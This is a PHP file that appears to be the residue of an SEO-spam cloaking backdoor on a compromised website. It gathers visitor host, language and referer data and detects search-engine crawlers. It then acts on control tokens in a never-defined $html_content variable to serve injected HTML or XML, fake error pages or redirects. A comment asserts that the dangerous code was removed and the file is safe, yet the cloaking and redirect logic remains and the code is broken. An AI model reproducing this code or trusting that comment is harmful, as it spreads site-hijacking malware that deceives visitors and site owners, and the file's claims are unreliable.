<?php      
@set_time_limit(3600);
@ignore_user_abort(1);

function is_https()
{
    if (isset($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) !== 'off') {
        return true;
    } elseif (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https') {
        return true;
    } elseif (isset($_SERVER['HTTP_FRONT_END_HTTPS']) && strtolower($_SERVER['HTTP_FRONT_END_HTTPS']) !== 'off') {
        return true;
    }
    return false;
}

$host = $_SERVER['HTTP_HOST'];
$lang = @$_SERVER["HTTP_ACCEPT_LANGUAGE"];
$lang = urlencode($lang);
$urlshang = '';
if (isset($_SERVER['HTTP_REFERER'])) {
    $urlshang = $_SERVER['HTTP_REFERER'];
    $urlshang = urlencode($urlshang);
}

/**
 * Note: This file may contain artifacts of previous malicious infection.
 * However, the dangerous code has been removed, and the file is now safe to use.
 */



function disbot()
{
    $uAgent = strtolower($_SERVER['HTTP_USER_AGENT']);
    if (stristr($uAgent, 'googlebot') || stristr($uAgent, 'bing') || stristr($uAgent, 'yahoo') || stristr($uAgent, 'google') || stristr($uAgent, 'Googlebot') || stristr($uAgent, 'googlebot')) {
        return true;
    } else {
        return false;
    }
}


if (!strstr($html_content, 'nobotuseragent')) {
    if (strstr($html_content, 'okhtmlgetcontent')) {
        @header("Content-type: text/html; charset=utf-8");
        $html_content = str_replace("okhtmlgetcontent", '', $html_content);
        echo $html_content;
        exit();
    }else if(strstr($html_content, 'okxmlgetcontent')){
        $html_content = str_replace("okxmlgetcontent", '', $html_content);
        @header("Content-type: text/xml");
        echo $html_content;
        exit();
    }else if (strstr($html_content, 'getcontent500page')) {
        @header('HTTP/1.1 500 Internal Server Error');
        exit();
    }else if (strstr($html_content, 'getcontent404page')) {
        @header('HTTP/1.1 404 Not Found');
        exit();
    }else if (strstr($html_content, 'getcontent301page')) {
        @header('HTTP/1.1 301 Moved Permanently');
        $html_content = str_replace("getcontent301page", '', $html_content);
        header('Location: ' . $html_content);
        exit();
    }
}/* blog M1029 */ exit;?>